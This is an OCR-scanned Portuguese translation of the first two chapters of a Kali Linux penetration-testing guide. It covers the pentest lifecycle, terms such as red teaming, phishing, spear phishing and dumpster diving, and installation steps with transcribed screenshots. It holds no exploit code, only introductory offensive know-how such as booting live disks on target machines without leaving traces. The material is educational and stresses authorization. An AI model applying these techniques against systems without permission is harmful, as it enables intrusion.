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CAPiTULO 1
Introducao

Informagoes contidas neste capitulo:
« Visdo geral do livro e principais pontos de aprendizagem
« Publico-alvo do livro
« Diagramas, figuras e capturas de tela
« Termos comuns

e A histdria do Kali Linux

Visao geral do livro e principais pontos de aprendizagem

Este livro conduz o leitor pelo ciclo de vida dos testes de invasdo usando o live disk mais avancado
disponivel atualmente — o Kali Linux. Apds esta breve introducio, o capitulo detalha a maneira de
localizar, fazer o download, instalar e personalizar o Kali Linux. A seguir, uma rapida introducio as
configuracdes e aos parametros basicos do Linux garante que os comandos e as configuracdes basicas
sejam compreendidos. O restante do livro é dedicado ao ciclo de vida dos testes de invasio - o
Reconhecimento (Reconnaissance), o Scanning, a Explora¢ido de Falhas (Exploitation), a Preservagao do
Acesso e a Geragdo do Relatério. Embora haja centenas de diferentes ferramentas na distribuicao Kali
Linux, cada capitulo em que sera discutido o ciclo de vida dos testes de invasao abordara as ferramentas
mais comumente usadas na respectiva fase. A fase de geragdo de relatorios detalha os relatérios que
podem ser usados para apresentar as descobertas a geréncia e a lideranca da empresa, além de incluir
um template de ROE (Rules of Engagement, ou Regras do Contrato) que pode ser usado antes do inicio
de um teste de invasao.

Publico-alvo do livro

Profissionais da drea técnica

Os profissionais da area técnica de diversas especialidades podem se beneficiar ao aprender o modo
como os pentesters trabalham. Ao compreender isso, esses profissionais terio um melhor conhecimento
das técnicas e dos conceitos basicos usados pelos pentesters; esse conhecimento pode entdo ser usado
para melhorar a seguranca de seus sistemas de informacao. Esses especialistas incluem, porém nao estdo
limitados a, administradores de servidores, administradores de rede, administradores de bancos de
dados e profissionais de help desk.

Os profissionais da area técnica que quiserem se tornar um pentester profissional irdo adquirir uma boa
dose de conhecimentos ao ler este livro. O conhecimento anterior que esses especialistas técnicos



possuem nas varias areas de especializacdo lhes proporciona uma nitida vantagem ao se tornarem
pentesters. Quem seria melhor para testar a configuragdo de seguranca de um servidor que um
pentester com um profundo conhecimento em administra¢gdo de tecnologias de servidores? Isso vale
também para outras areas de especializacio.

Este livro apresentara o mundo dos testes de invasio e a ferramenta mais comum usada pelos
pentesters — o Linux Live Disk — a esses profissionais da area técnica. Ao seguir os exemplos e as
instrucdes presentes nos proximos capitulos, esses profissionais estardo no caminho certo para
compreender ou para se tornar um pentester.

Profissionais da area de seguranca

Os profissionais da area de seguranca que estdo se empenhando em melhorar a seguranca dos sistemas
que desenvolvem e mantém irdo adquirir um vasto conhecimento ao compreender o tipo de
mentalidade presente em um teste de invasao e o seu ciclo de vida. De posse desse conhecimento, esses
profissionais poderdo “preparar” recursos de seguranca nos sistemas que estao desenvolvendo e para os
quais estao dando suporte.

Estudantes da area de seguranca de informacdes e de programas associados a garantia de
seguranca de informagoes

Entender o mundo dos testes de invasio proporcionard a esses estudantes uma visdo de uma das
profissdes mais recompensadoras e frustrantes da area de tecnologia da informacdo. Ao serem
apresentados aos testes de invasao logo no inicio de suas carreiras, esses estudantes poderdo decidir se
uma carreira na area de testes de invasao é a escolha certa para eles.

A quem este livro nio se destina

Este livro nao proporcionara a vocé as habilidades e a experiéncia necessarias para invadir a NSA
(National Security Agency, ou Agéncia Nacional de Seguran¢a) ou uma agéncia bancaria local, e sugiro
que ninguém tente fazer isso. Este livro ndo foi escrito para alguém que ja esteja realizando testes de
invasdo durante alguns anos e que entenda totalmente o modo como cada ferramenta do disco do
Backtrack/Kali Linux funciona. Também nao foi escrito para alguém que pretenda infringir a lei, pois a
intencdo do livro é apresentar mais pessoas aos testes de invasio como uma maneira de melhorar a
seguranca dos sistemas de informacao.

Diagramas, figuras e capturas de tela

Os diagramas, as figuras e os esquemas deste livro foram simplificados a fim de possibilitar uma
compreensao solida do material apresentado. Isso foi feito para ilustrar os conceitos técnicos basicos e as
técnicas explicadas neste livro.

As capturas de tela foram usadas ao longo de todo o livro para demonstrar os comandos e as agdes que
ocorrem no ambiente Kali Linux e foram incluidas para proporcionar mais esclarecimento sobre o
assunto. De acordo com a configuragio e a versdo do Kali Linux, essas capturas de tela podem ser um



pouco diferentes do que sera apresentado localmente. Isso ndo deve ter consequéncias no aprendizado
do bésico sobre os testes de invasao, e as diferencas serao sempre pequenas.

Bem-vindo

Este capitulo servirda como uma introdu¢do ao mundo empolgante e continuamente em expansao do
pentester profissional e ético. O teste de invasdo, ou simplesmente pentesting, corresponde a um
processo técnico e a uma metodologia que permitem aos especialistas técnicos simularem as agdes e as
técnicas usadas por um ou mais hackers na tentativa de explorar as falhas de uma rede ou de um
sistema de informacao. Este livro conduzira o leitor pelos passos normalmente executados a medida que
um pentester desenvolve uma compreensio sobre um alvo, analisa-o e tenta invadi-lo. O livro finaliza
com um capitulo sobre como escrever os relatérios e outros documentos usados para apresentar as
descobertas a lideranca da empresa, descrevendo as atividades executadas pela equipe de testes de
invasdo e as falhas identificadas no sistema. O ultimo capitulo também inclui um template basico de
ROE que deve ser formalizado e aprovado antes de qualquer teste de invasio ser iniciado. E importante
conduzir os testes de invasio somente em sistemas para os quais uma autorizacio foi concedida e
trabalhar de acordo com os requisitos do ROE aprovado.

Ciclo de vida dos testes de invasao

Ha véarios modelos diferentes do ciclo de vida dos testes de invasio em uso atualmente. De longe, o
mais comum ¢é a metodologia e o ciclo de vida definidos e usados pelo programa EC C|EH (EC-Council
Certified Ethical Hacker). Esse processo de cinco fases conduz o pentester pelas fases de
Reconhecimento (Reconnaissance), Scanning, Obten¢do de Acesso (Gaining Access), Preservacdo do
Acesso (Maintaining Access) e Ocultacdo das Pistas (Covering Tracks) [1]. Este livro seguira o ciclo de
vida modificado dos testes de invasdo apresentado por Patrick Engebretson em seu livro Introdugido ao
hacking e aos testes de invasdo [2]. Esse processo segue as fases bdsicas usadas pelo C|EH, porém nio
inclui a fase final, Ocultacao das Pistas. Remover essa fase deste livro foi uma decisdo consciente, pois
muitas das técnicas dessa fase final serao mais bem explicadas em um livro mais avancado.

Termos comuns

Ha varios termos comuns que normalmente sido alvos de discussio quando falamos de testes de
invasdo. Diferentes profissoes, especializacdes técnicas e até membros de uma mesma equipe tém uma
compreensdo um pouco diferente dos termos usados nessa area. Por esse motivo, os termos e as
definicoes associadas a seguir serdo usados neste livro.

Teste de invasao (pentesting)

O teste de invasio corresponde a metodologia, ao processo e aos procedimentos usados pelos
pentesters, de acordo com diretrizes especificas e aprovadas, na tentativa de burlar as protecoes de um
sistema de informagdo, incluindo anular os recursos de seguranga integrados do sistema. Esse tipo de
teste esta associado a avaliagio das configuracbes e dos controles técnicos, administrativos e



operacionais de um sistema. Normalmente, os testes de invasio fazem somente a avaliacio da
seguranca dos sistemas de informac¢ao da forma como ela estd implementada. Os administradores dos
sistemas de rede-alvo e suas equipes podem ou ndo saber que um teste de invasio esta sendo
conduzido.

Red Team (Equipe Vermelha)

As Red Teams (Equipes vermelhas) simulam um adversario em potencial quanto as metodologias e as
técnicas usadas. Essas equipes normalmente sio maiores do que a equipe de testes de invasio e
possuem um escopo bem mais amplo. O teste de invasio propriamente dito geralmente é um
subcomponente de um Exercicio de Red Team, porém esses exercicios testam outras funcdes do aparato
de seguranca das empresas. As Red Teams normalmente atacam uma empresa usando meios de
natureza técnica, social e fisica, em geral empregando as mesmas técnicas usadas pelos hackers Black
Hats (Chapéu Preto) para testar as protecdes da empresa ou dos sistemas de informacido contra esses
atores hostis. Além dos Testes de Invasio, a Red Team realizara ataques de Engenharia Social,
incluindo phishing, spear phishing e ataques de natureza fisica, que incluem vasculhar o lixo e usar
técnicas para abertura de cadeados a fim de obter informac¢des e acesso. Na maioria dos casos, com
exce¢do de um grupo relativamente pequeno, os funcionarios das empresas-alvo nao saberdo que um
Exercicio de Red Team esta sendo conduzido.

Hacking ético
Um Hacker Etico ¢ um pentester profissional que ataca os sistemas em nome do proprietdrio do sistema

ou da empresa proprietaria do sistema de informacdo. Levando em conta o proposito deste livro, o
Hacking Etico seréd sindnimo de Teste de Invasio.

White Hat

White Hat (chapéu branco) é uma giria para um Hacker Etico ou um profissional da area de seguranca
de computadores, especializado em metodologias para melhoria da seguranga dos sistemas de
informacao.

Black Hat

Black Hat (chapéu preto) é um termo que identifica um individuo que usa técnicas para passar pela
seguranca dos sistemas sem ter permissio para cometer crimes de computador. Os pentesters e os
membros da Red Team com frequéncia usam as técnicas utilizadas pelos Black Hats a fim de simular
esses individuos ao conduzir exercicios ou testes autorizados. Os Black Hats conduzem suas atividades
sem ter permissao e de forma ilegal.

Grey Hat

O Grey Hat (chapéu cinza) refere-se a um especialista da area técnica que fica entre a linha que separa
os White Hats dos Black Hats. Esses individuos normalmente tentam passar pelos recursos de seguranca
de um sistema de informacido sem ter permissdo, nao para obter lucros, mas para informar os pontos



fracos descobertos aos administradores do sistema. Os Grey Hats normalmente nao tém permissao para
testar os sistemas, porém, em geral, ndo estao atras de lucros financeiros pessoais.

Avaliacao de vulnerabilidades, analise de vulnerabilidades

Uma analise de vulnerabilidades é usada para avaliar as configura¢des de seguranca de um sistema de
informacao. Esses tipos de avaliagdo incluem a avaliagdo de patches de seguranca aplicados e ausentes
em um sistema. A VAT (Vulnerability Assessment Team, ou Equipe de Avaliacdo de Vulnerabilidades)
pode ser externa ao sistema de informacao ou parte da equipe que da suporte ao sistema.

Avaliacao de controles de seguranca

As Avaliacoes de Controles de Seguranga (Security Controls Assessments) avaliam a conformidade dos
sistemas de informagido em relagdo a requisitos legais ou regulatorios especificos. Exemplos desses
requisitos incluem, porém ndo estdo limitados a, o Federal Information Security Management Act
(FISMA), o Payment Card Industry (PCI) e o Health Insurance Portability and Accountability Act
(HIPAA). As Avaliacoes de Controles de Seguranga sao usadas como parte do BOE (Body of Evidence,
ou Corpo de Evidéncias) usado pelas empresas para autorizar um sistema de informag¢io a operar em
um ambiente de produgdo. Alguns sistemas exigem que os testes de invasdo fagam parte da avaliacdo
dos controles de seguranca.

Teste de usuario malicioso

No Teste de Usuario Malicioso (Malicious User Testing ou Mal User Testing), o avaliador assume o
papel de alguém interno e confiavel atuando de forma maliciosa, ou seja, um usuario malicioso. Nesses
testes, o avaliador recebe as credenciais de um usudrio genérico ou administrador autorizado,
normalmente associadas a uma conta de teste. O avaliador usard essas credenciais na tentativa de passar
pelas restricoes de seguranga, incluindo efetuar tentativas de visualizar documentos e configuragdes de
maneira nao autorizada pela conta, alterar pardmetros que nio deveriam ser alterados e elevar o nivel
de suas permissoes para além do que sua conta deveria ter. Os testes de usudrios maliciosos simulam as
acoes de um individuo falso e confidvel dentro da empresa.

Engenharia social

A Engenharia Social envolve a tentativa de enganar os usudrios ou os administradores do sistema para
que facam algo segundo os interesses do engenheiro social, mas que esteja além de seus tipos de acessos
ou de seus direitos. Os ataques de Engenharia Social normalmente causam danos ao sistema de
informagao ou ao usuario. O Engenheiro Social usa a disposi¢ao inerente as pessoas de ajudar os outros
a fim de comprometer o sistema de informacgdo. Técnicas comuns de Engenharia Social incluem a
tentativa de fazer com que os analistas de help desk redefinam as senhas das contas dos usuarios ou
fazer com que os usuarios finais revelem suas senhas, permitindo que o Engenheiro Social faca login em
contas para as quais nao tenha autoriza¢ao. Outras técnicas de Engenharia Social incluem phishing e
spear phishing.



Phishing

No caso do Phishing (pronuncia-se do mesmo modo que fishing em inglés), o engenheiro social tenta
fazer a vitima revelar informagdes pessoais como nomes de usuario, nimeros de conta e senhas. Em
geral, isso é feito por meio de emails falsos, porém com aparéncia auténtica, de empresas, bancos e
servicos de atendimento ao consumidor. Outras formas de phishing procuram fazer os usuarios
clicarem em hiperlinks falsos que permitem a instalagdo de cddigos maliciosos nos computadores-alvo
sem que eles saibam. Esse malware sera entao usado para obter dados do computador ou para usa-lo a
fim de atacar outros computadores. O phishing normalmente néo estd voltado a usuarios especificos; as
vitimas podem ser qualquer pessoa em uma lista de mala direta ou que tenha uma extensao especifica
no endereco de email, por exemplo, todo usuario com uma extensao igual a @foo. com.

Spear phishing
O Spear Phishing é uma forma de phishing em que os usuarios-alvo sido especificamente identificados.

Por exemplo, o invasor pode pesquisar e descobrir os enderecos de email do CEO (Chief Executive
Officer) de uma empresa e de outros executivos e usar somente essas pessoas como alvos do phishing.

Vasculhar o lixo

Na técnica de Vasculhar o Lixo (Dumpster Diving), o avaliador analisa o lixo descartado por usuarios e
administradores de sistemas a procura de informagdes que possam levar a uma melhor compreensao do
alvo. Essas informagdes podem ser configuragdes e pardmetros do sistema, diagramas de rede, versoes
de software, componentes de hardware e até mesmo nomes de usudrios e senhas. O termo em inglés
refere-se a vasculhar um contéiner grande de lixo, porém, se houver oportunidade, “vasculhar”
pequenas lixeiras em escritdrios pequenos também pode resultar em informacoes uteis.

Live CD, live disk ou LiveOS

Um live CD ou live disk refere-se a um disco que contém todo um sistema operacional. Esses discos sdo
uteis para muitos avaliadores e podem ser modificados de modo a conter componentes especificos de
software, configuragdes e ferramentas. Embora os live disks normalmente sejam baseados em
distribuicdes Linux, varias versdes para Microsoft Windows foram disponibilizadas ao longo dos anos.
De acordo com as configuragdes dos sistemas de informagao, os live disks podem ser o unico dispositivo
necessario ao avaliador ou ao pentester em uma avaliagido, pois os computadores dos sistemas-alvo
poderao ser inicializados com o live disk, fazendo com que um dos equipamentos do sistema de
informacio se volte contra o proprio sistema.

A historia do Kali Linux

O Kali Linux ¢ o live disk mais recente de uma distribuicdo de seguranga disponibilizada pela Offensive
Security. Essa versdo atual contém mais de trezentas ferramentas de seguranca e de testes de invasdo
incluidas, classificadas em grupos uteis, mais frequentemente usadas por pentesters e outras pessoas que
efetuam avaliacoes de sistemas de informacgdo. De modo diferente das distribuicoes mais antigas
disponibilizadas pela Offensive Security, o Kali Linux usa a distribuicdo Debian 7.0 como base. O Kali



Linux da continuidade a linhagem de seu antecessor, o Backtrack, e é mantido pela mesma equipe. De
acordo com a Offensive Security, a mudanc¢a no nome indica a reestruturagao completa da distribuicao
Backtrack pela empresa. As grandes melhorias em relagio as versdes mais antigas da distribuicdao
Backtrack mereceram uma mudan¢a no nome, a qual indica que essa ndo é somente uma nova versiao
do Backtrack. O proprio Backtrack foi uma melhoria em relagao a duas ferramentas de seguranca das
quais ele foi derivado - o White Hat and SLAX (WHAX) e o Auditor. Nessa linha, o Kali Linux é a
encarna¢ido mais recente do estado em que se encontram as auditorias de seguran¢a no mercado e as
ferramentas para testes de invasao.

Referéncias
[1] Site: http://www.eccouncil.org.

[2] Livro: Introducio ao hacking e aos testes de invasiao (Novatec Editora).



CAPITULO 2
Download e instalacdao do Kali Linux

Informagoes contidas neste capitulo:

o Este capitulo explica como obter um dos toolkits mais eficientes para testes de invasao disponiveis -
o Kali Linux

Visao geral do capitulo e principais pontos de aprendizagem
Este capitulo explica o processo de download e de instalagio do Kali Linux em:

o Discos rigidos

 Pen drives (memorias USB)

o Cartoes SD

Kali Linux

Instalar sistemas operacionais como o Microsoft Windows, o OS X da Apple ou plataformas de cédigo
aberto como o Debian e o Ubuntu pode ser natural para algumas pessoas, porém uma revisao desse
processo é sempre uma boa ideia. As pessoas que nunca instalaram um sistema operacional antes ndo
devem ficar preocupadas; as se¢des a seguir neste capitulo descrevem todos os passos necessarios para
localizar, fazer o download e instalar o Kali Linux.

Em varios aspectos, o Kali Linux é unico, porém as principais diferencas dessa distribuicao estio na
capacidade de executar ndo s6 a partir de uma instalagdo em disco rigido, mas também de efetuar o
boot com um live disk, além da quantidade e do tipo de aplicacdes especializadas, instaladas por
padrdo. Um live disk corresponde a um sistema operacional instalado em um disco, incluindo CDs
(Compact Disks), DVDs (Digital Video Disks) ou Discos Blu-Ray. Como pentester, a capacidade de
fazer o boot com um live disk é muito importante.

As pessoas que tiverem acesso a computadores locais na rede poderao tirar proveito dos live disks de
modo a usar esses computadores mesmo que o pentester ndo tenha uma conta no sistema operacional
instalado. O sistema fara o boot a partir do live disk em vez de usar o disco rigido local, ou seja, se o
computador estiver configurado corretamente, o pentester tera acesso a varios dos recursos da rede
local, a0 mesmo tempo que ndo deixara evidéncias nos discos rigidos dos computadores locais. Os
softwares instalados no Kali Linux representam outro motivo pelo qual ele é feito na medida para o
pentester. Por padrdo, o Kali Linux possui quatrocentas ferramentas de testes de invasdo e de
seguranca, pacotes e aplicacdes instalados, e outros podem ser adicionados a medida que forem
necessarios.



Informacgdes sobre o sistema

Todos os sistemas operacionais sdo inicos e apresentam pequenas diferencas que aparecerdo durante a
instalagdo inicial e a configura¢do; no entanto a maioria das plataformas baseadas em Linux/Unix é
relativamente semelhante quanto a natureza. Como ocorre com outros sistemas operacionais Linux, ao
instalar o Kali Linux, planejar antes de fazer a instalacdo é muito importante. A seguir ha uma pequena
lista dos aspectos a serem considerados ao instalar o Kali Linux.

« O sistema operacional executara em um computador desktop ou em um laptop?
e Qual é o tamanho do disco rigido necessario?

« O disco rigido disponivel tem espaco livre suficiente?

« Quantas parti¢oes de disco rigido sdo necessarias?

« Gerenciamento de logs é uma preocupagao?

A seguranga ¢ uma preocupagao?

Selecionando uma plataforma de hardware para a instalacao

Tradicionalmente, o sistema operacional é instalado no disco rigido do computador; no entanto, com
sistemas operacionais como o Kali Linux, existe a possibilidade de instalar o sistema operacional em pen
drives (ou flash drives) e em cartdes SD, em virtude da recente disponibilidade e acessibilidade aos
dispositivos com mais alta capacidade. Independentemente do dispositivo de armazenamento usado
para instalar o sistema operacional, é muito importante determinar se a instalacdo sera feita em um
computador isolado (por exemplo, um computador em um laboratério) ou em um laptop, o que
possibilitarda uma solucdo moével.

Caso um hardware bastante especifico seja usado para quebrar senhas, por exemplo, placas de video de
alto desempenho, é recomendavel que a instalagao do Kali Linux seja feita em um computador desktop.
Se houver necessidade de levar o sistema operacional das instalagdes de um cliente para outro, ou se
vocé deseja testar dispositivos wireless, um laptop é recomendado. A instalagdo do sistema operacional
¢ igual, seja para um laptop ou para computadores desktop.

Selecao do disco rigido

Sem querer bater na mesma tecla, “tamanho é documento”. Uma regra geral consiste em dizer que
quanto maior o drive, melhor. Este livro recomenda o uso de um drive com no minimo 120 GB de
espaco; no entanto até esse espaco pode ser rapidamente consumido, especialmente no caso de cracking
de senhas e projetos forenses ou de testes de invasio que exijam bastante controle, evidéncias, logs e
geracdo de relatério ou coleta de dados. No caso da maior parte das avaliagdes de seguranga em
organizagdes comerciais e governamentais, o sistema operacional sera limpo, apagado ou totalmente
removido para preservar um ambiente de referéncia estavel. Essa pratica é amplamente aceita em toda a
comunidade de seguranca em virtude da necessidade de lidar de modo adequado com os dados
confidenciais dos clientes e de minimizar o vazamento de informac¢des corporativas que possivelmente
possam causar danos a infraestrutura ou a reputacido da empresa.



Particionamento do disco rigido

O particionamento consiste no ato de separar o sistema de arquivos em areas especificas do disco rigido
definindo tamanhos de bloco e setores especiais. O particionamento pode evitar que um sistema
operacional seja corrompido por arquivos de log que ocupem todo o sistema e, em certas circunstancias,
fornece mais seguranga. No nivel basico, o sistema operacional ja esta dividido em duas particoes
diferentes. A primeira particdo corresponde a area de swap, usada para paginacdo de memoria e para
armazenamento. Uma segunda particdo destina-se a tudo o mais e é formatada com uma estrutura de
arquivos, por exemplo, o extended file system 3 (ext3) ou o extended file system 4 (ext4). No caso dos
laptops, especialmente nos dispositivos em que o sistema operacional sera constantemente recarregado,
um particionamento adicional niao serd necessario. Para instala¢cdes personalizadas ou computadores
que terdo um sistema operacional mais persistente, é necessirio a0 menos separar 0s arquivos
temporarios (tmp).

Um particionamento mais sofisticado do disco rigido e o dual boot em um computador estao além do
escopo deste livro e ndo serdo discutidos. A unica exce¢do estd no apéndice A, em que distribuicdes
personalizadas serao apresentadas juntamente com uma aplica¢ao de terceiros chamada Tribal Chicken.

Seguranca durante a instalacao

O Kali Linux é um sistema operacional muito eficiente, com uma infinidade de ferramentas
previamente instaladas que podem destruir computadores ou a infraestrutura de uma rede e, se usado
de forma indevida ou antiética, pode levar a acdes que serdo percebidas como criminosas ou infratoras
da lei. Por esse motivo, as senhas sdo essenciais. Embora as senhas constituam a pratica mais basica de
seguranca, muitos administradores e profissionais da area de seguranca com frequéncia se esquecem
das senhas ou ignoram o seu uso. Praticas basicas de seguran¢a como o uso adequado de senhas sdao
essenciais para garantir que sua instalagao do Kali Linux nao seja usada por outras pessoas que possam,
de forma inadvertida ou maliciosa, causar danos a uma pessoa, um computador ou uma rede.

Fazendo o download do Kali Linux

O Kali Linux é uma distribui¢ao do Linux e é baixado em um arquivo ISO (pronuncia-se como eye-so
em inglés). Ele deve ser baixado a partir de outro computador e em seguida deve ser gravado em um
disco antes de ser instalado. Na época desta publicacio, o Kali Linux podia ser baixado a partir de
http://www.kali.org/downloads/. A documentacdo para operagdes avancadas, configuracdes e casos
especiais também pode ser encontrada no site oficial do Kali em http://www.kali.org/official-
documentation/. Ha também uma comunidade bem grande e ativa, em que os usuarios podem enviar
perguntas e ajudar outras pessoas com dificuldades. E aconselhdvel registrar-se junto ao site para ter
acesso aos foruns da comunidade, administrados pela Offensive Security, os criadores do Kali Linux. A
Offensive Security também enviard mensagens de atualizagcdes e informag¢des sobre a comunidade
(Figura 2.1).



Downloads

DOWNLOAD YOUR FLAVOUR OF KALI LINUX...

KALI LINUX 64 BIT DOWNLOADS

Kali Linux 1.0.5 64-Bit 150 or Torrent

oHATSUM: 914esbdlasbdl1oddasb81143caadbbad4n.280
Kal Linux 1.0.5 &4-Bit Mini 1SS0
SHA1SUM: 8d7Y72a0679bfi3debbed 1289582 2cf07 5044817

Figura 2.1 - Fazendo o download do Kali Linux.

Nio se esqueca de selecionar a arquitetura correta (i386 = 32 bits, amd64 = 64 bits). As variantes
alternativas do Kali Linux estdo além do escopo deste livro; no entanto, se vocé quiser se familiarizar
com o Kali ou se precisar de um ambiente isolado (sandboxed) para ter mais controle, o0 download do
VMware é perfeito para essas situa¢des. Clique no link apropriado para o download para prosseguir.

Para os usuarios do Microsoft Windows7, dé um clique duplo no download realizado e o Burn ISO
Wizard aparecera. Siga os prompts para efetuar a conversdo da imagem ISO em um DVD que possa ser
usado na instalagdo. Os usudrios de Linux devem abrir o ISO em um aplicativo apropriado para
gravac¢do de discos, como o K3b.

Instalacdo no disco rigido

As segOes a seguir oferecem um guia de instalacio textual e grafico, criado com vistas a simplicidade.
Para instalar corretamente o Kali no disco rigido dos sistemas, ou até mesmo fazer o boot com o live
disk, ¢ muito importante que o BIOS (Basic Input Output System, ou Sistema Basico de Entrada e
Saida) esteja configurado para fazer o boot a partir do disco optico. Para iniciar a instala¢do, insira o CD
no computador e faca o boot a partir do disco. Usudrios com conhecimentos avancados que se sintam a
vontade com a tecnologia de virtualizagdo, como o VMware Player ou o Virtualbox da Oracle, também
achardo esse guia simples e util para ajudar na criagao de uma versao virtualizada do Kali Linux.

Fazendo o boot do Kali pela primeira vez

Um computador iniciado de forma bem-sucedida com o disco do Kali Linux ira apresentar uma tela
semelhante aquela apresentada na figura 2.2. A versdo do Kali Linux usada neste guia é a 1.0.5 64 bits;
versOes baixadas em épocas diferentes podem parecer um pouco diferentes; porém as instalacoes
graficas sao bastante semelhantes. Um manual atualizado para cada nova versao do Kali Linux pode ser
encontrado em http://www.kali.org/, e é altamente recomendavel consultar esse site para verificar a



documenta¢ido mais recente de sua versao antes de fazer a instalacdo ou no caso de vocé ter qualquer
duvida durante o processo.

O Kali Linux é distribuido na forma de um “Live CD” (também conhecido como Live ISO), o que
significa que o sistema operacional pode ser executado diretamente do disco, além de poder ser
instalado em um disco rigido. Executar o Kali a partir do live disk permite fazer o boot do sistema e
executar todas as ferramentas, porém o sistema operacional apresentado sera ndo persistente. Ser nédo
persistente significa que, uma vez desligado o computador, toda a memdria, as configuragoes salvas, os
documentos e, possivelmente, trabalhos ou pesquisas muito importantes serdo perdidos. Executar o Kali
em um estado nao persistente exige bastante cuidado, uma manipulagio prévia e um bom
entendimento dos comandos e do sistema operacional Linux. Esse método é 6timo para se familiarizar
com o sistema operacional Linux sem a necessidade de apagar o sistema operacional existente ja
instalado no disco rigido do computador.

Boot menu

Live (amdb4)

Live (amdb4 failsafe)
Live (foremsic mode)
Install

Graphical install
Install with speech synthesis

Press ENTER to boot or TAB to edit a menu entry
Figura 2.2 — Menu de boot do live ISO.

Outro tipo de instalagdo, que esta além do escopo deste livro, é a Instalacio com Sintese de Voz
(Installation with Speech Synthesis). E um recurso novo no sistema operacional Kali e no Debian. A
instalagdo pode ser controlada vocalmente se vocé tiver o hardware para suportar a sintese de voz. Este

livro focara na instala¢ao grafica por enquanto; sendo assim, selecione Graphical Install (Instalacdo Grafica)
e tecle Enter.

Instalagiao - configurando os defaults

As proximas telas permitirdo a selecio de um idioma default, a localiza¢do e o idioma do teclado para o
sistema. Selecione as configuracdes adequadas e clique em Continue (Continuar) para prosseguir com a
instalacio. A medida que o computador avancar na instalacio do Kali Linux, varias barras de
progressdo serdo apresentadas na tela durante o processo. Selecionar as configura¢des default sera
adequado na maioria das telas de selecio.

Instalacdo - configuracdo inicial da rede

A figura 2.3 detalha a configuragdo inicial e os parametros basicos para a placa principal de interface de
rede. Selecione um nome de host digitando na caixa de texto e clique em Continue. Os nomes de host



devem ser Unicos, pois complicacdes com a rede podem ser resultantes de computadores configurados
acidentalmente com o mesmo nome de host, embora localizados na mesma rede.

Configure the netwaork

Please enter the hostname for this system.

The hostname is a single word that identifies your system to the network. If you dom't know what your
hostname should be, consult your network administrator. If you are setting up your own home network,
you can make something up here.

Hastname:

(= J

.Ecraens.hat Go Back | Continue

Figura 2.3 — Configurando um nome de host.

Apos selecionar um nome de host e clicar no botao Continue, a proxima tela solicitarda o FQDN (Fully
Qualified Domain Name) do computador. Isso é necessario para associar-se a ambientes com dominios,
mas nao serda necessario na maioria dos ambientes de laboratério. Neste guia, o FQDN foi
propositadamente deixado em branco e pode ser ignorado selecionando o botao Continue.

Senhas

O proximo prompt no assistente solicitara uma senha de nivel root. A senha default é toor; porém é
recomendavel que uma nova senha seja selecionada contendo pelo menos um caractere de cada tipo a
seguir: letra maiuscula, letra mindscula, nimero e simbolo. A senha nao deve ter nenhuma liga¢do com
o usuario e ndo deve ser facilmente adivinhada. Uma senha com dez ou mais caracteres é aconselhavel.
Por exemplo, se o usuario ja jogou futebol no ensino médio, entdo soccer22 ndo seria uma senha
recomendavel. As senhas podem ser constituidas a partir de variacdes de expressdes comuns que
facilitem ser lembradas. Aqui estdo alguns exemplos de senhas robustas:

e Ston(3)b@tt73 — “Stone Battle”
o P@p3rekcurs# — “Paper, Rock, Curse”
o m!gh7yP@jjjama% h — “Mighty Pajamas”

Ao digitar sua senha, ela aparecera como uma série de pontos ou de asteriscos. Isso é normal e evita



que sua senha seja mostrada caso alguém possa estar vendo a tela do computador. Apés digitar a
mesma senha robusta duas vezes, clique no botdo Continue para prosseguir com a instalacao (Figura 2.4).

Set up users and passwords

You need to set a password for 'root’, the system administrative account. A malicious or unqualified user
with root access can have disastrous resuits, so you should take care to choose a root password that is
not easy to guess. It should not be a word found in dictionaries, or a word that could be easily
associated with you.

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals.,

The root user should not have an empty password. If you leave this empty, the root account will be
disabled and the system's initial user account will be given the power to become root using the "suda”
command.

Mote that you will not be able to see the password as you type it.
Root password:

Please enter the same root password again to verify that you have typed it correctly.
Re-enter password to verify:

| Sereenshot | GoBack Continue |

L3
Figura 2.4 - Configurando uma senha.

Configurando o reldgio do sistema

A figura 2.5 mostra o prompt para selecionar um fuso horario. Clique no fuso horario apropriado e em
seguida no botao Continue para prosseguir com a instalagao.



Configure the clock

If the desired time zone is not listed, then please go back to the step "Choose Iané]uage' and select a
country that uses the desired time zone (the country where you live or are located).

Select your time 2one:

Eastern

Central
Mountain
Pacific
Alaska
Hawaii
Arizona
East Indiana
Samoa

Screenshot | Go Back | Continue
. ]

Figura 2.5 — Configure o relogio.

Particionamento dos discos

Existem algumas maneiras de configurar parti¢des para instalar um sistema operacional Linux, sobre as
quais alguém poderia dedicar um livro todo. Esse guia foca na instalacdo mais basica, a Guided Partitioning
(Particionamento guiado). As figuras de 2.6 a 2.10 mostram que os parametros default para essa
instalagdo ja estdo previamente selecionados. Nao havera nada para selecionar até a figura 2.10. Nesse
ponto, a instalagdo pode ser agilizada clicando em Continue até o particionamento estar completo; no
entanto é melhor investir tempo para analisar cada passo do assistente de instalagio.

A figura 2.6 mostra diferentes opgdes para o particionamento de discos rigidos durante a instalagdo. O
LVM, ou Logical Volume Management, ndo é recomendado para instalacio em laptops, pen drives ou
cartdes SD. O LVM serve para varios discos rigidos e é recomendado somente para usudrios avangados.
Vocé deve selecionar Guided — user entire disk (Guiado - disco inteiro do usuario). Clique no botao Continue
para avangar no processo de instalagio.



Partition disks

The installer can guide you through partitioning a disk {using different standard schemes) or, if you
prefer, you can do it manually. With guided partitioning you will still have a chance later to review and
customise the results.

If you choose quided partitioning for an entire disk, you will next be asked which disk should be used.
Fartiboring method:

Guided - use entire disk

Guided - use entire disk and set up LVM
Guided - use entire disk and set up encrypted LVM
Manual

Screenshot | GoBack Lcnntinhl:e _

Figura 2.6 - Particionamento de discos-1.

A figura 2.7 mostra o disco rigido selecionado para a instalagdo. De acordo com o hardware e a versao
do Kali Linux, a experiéncia de instalagdo podera ser um pouco diferente. O disco rigido sera
selecionado; se for aceito, clique no botao Continue para avancar no processo de instalagio (Figura 2.8).

Pelo fato de este livro estar voltado a usuarios novos da distribuicao Kali Linux, All files in one partition
(recommended for new users) [Todos os arquivos em uma particio (recomendado para usuarios novos)] é a
melhor op¢ido e deve ser selecionada. Clique no botio Continue para avangar no processo de instalacio.

No préximo prompt do assistente, o guia para particionamento estarda completo e sera apresentado para
que vocé possa revisa-lo. Uma parti¢do principal contendo todos os arquivos de sistema, de usudrios e
de scripting sera criada como uma das particdes. Uma segunda particao sera criada para espago de
swap. A drea de swap corresponde a memoria virtual do sistema que efetua a paginacido de arquivos
